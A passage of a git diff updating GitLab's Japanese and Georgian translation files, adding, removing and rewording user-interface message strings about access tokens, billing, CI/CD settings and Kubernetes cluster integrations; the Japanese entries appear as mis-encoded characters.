msgstr "ã‚ãªãŸã®ãƒ—ロフィール"
@@ -37814,6 +37628,9 @@ msgstr "ã‚ãªãŸã®ãƒ—ロジェクト数㯠%{limit} 以下ã«åˆ¶é™ã•ã‚Œã¦ã
msgid "Your projects"
msgstr "ã‚ãªãŸã®ãƒ—ロジェクト"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr "失敗å¯èƒ½"
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr "ã™ã¹ã¦ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã« TLS 証明書ãŒãªã„ã¨æœ‰åŠ¹ã«ã§ãã¾ã›ã‚“"
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr "変更ã§ãã¾ã›ã‚“"
@@ -38010,9 +37842,6 @@ msgstr "ãれ自体をブロックã§ãã¾ã›ã‚“"
msgid "cannot merge"
msgstr "マージã§ãã¾ã›ã‚“"
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr "秘密éµã‚’読ã¿å–ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸã€‚パスフレ
msgid "created"
msgstr "作æˆæ¸ˆã¿"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr "有効"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr "encrypted: 㯠:required, :optional, :migratingã®ã„ãšã‚Œã‹ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "エントリーã¯255文字を超ãˆã‚‰ã‚Œã¾ã›ã‚“。"
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "グループ"
@@ -38858,6 +38690,9 @@ msgstr "マージ"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "マージã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
@@ -38894,9 +38729,6 @@ msgstr "詳ã—ã„情報"
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDE ã§é–‹ã"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "パイプラインãŒãƒ–ロックã•ã‚Œã¾ã—ãŸã€‚ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ãƒ‘イプラインã«ã¯ã€æ‰‹å‹•æ“作ãŒå¿…è¦ã§ã™"
-
msgid "mrWidget|Plain diff"
msgstr "テキスト差分"
@@ -38957,8 +38789,8 @@ msgstr "ソースブランãƒã® HEAD ãŒæœ€è¿‘変更ã•ã‚Œã¾ã—ãŸã€‚ページ
msgid "mrWidget|The source branch has been deleted"
msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã¾ã—ãŸ"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "ソースブランãƒã¯ %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} ターゲットブランãƒã§ã™"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã‚ˆã†ã¨ã—ã¦ã„ã¾ã™"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr "開始日より後ã«ã—ã¦ãã ã•ã„。"
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr "%{item} ãれ㫠%{lastItem}"
msgid "on track"
msgstr "順調"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr "ã‚¿ã‚°å"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "次ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
@@ -39481,6 +39322,9 @@ msgstr "blobを表示"
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 591b3437d21..468a601c639 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:34\n"
+"PO-Revision-Date: 2021-07-01 21:18\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
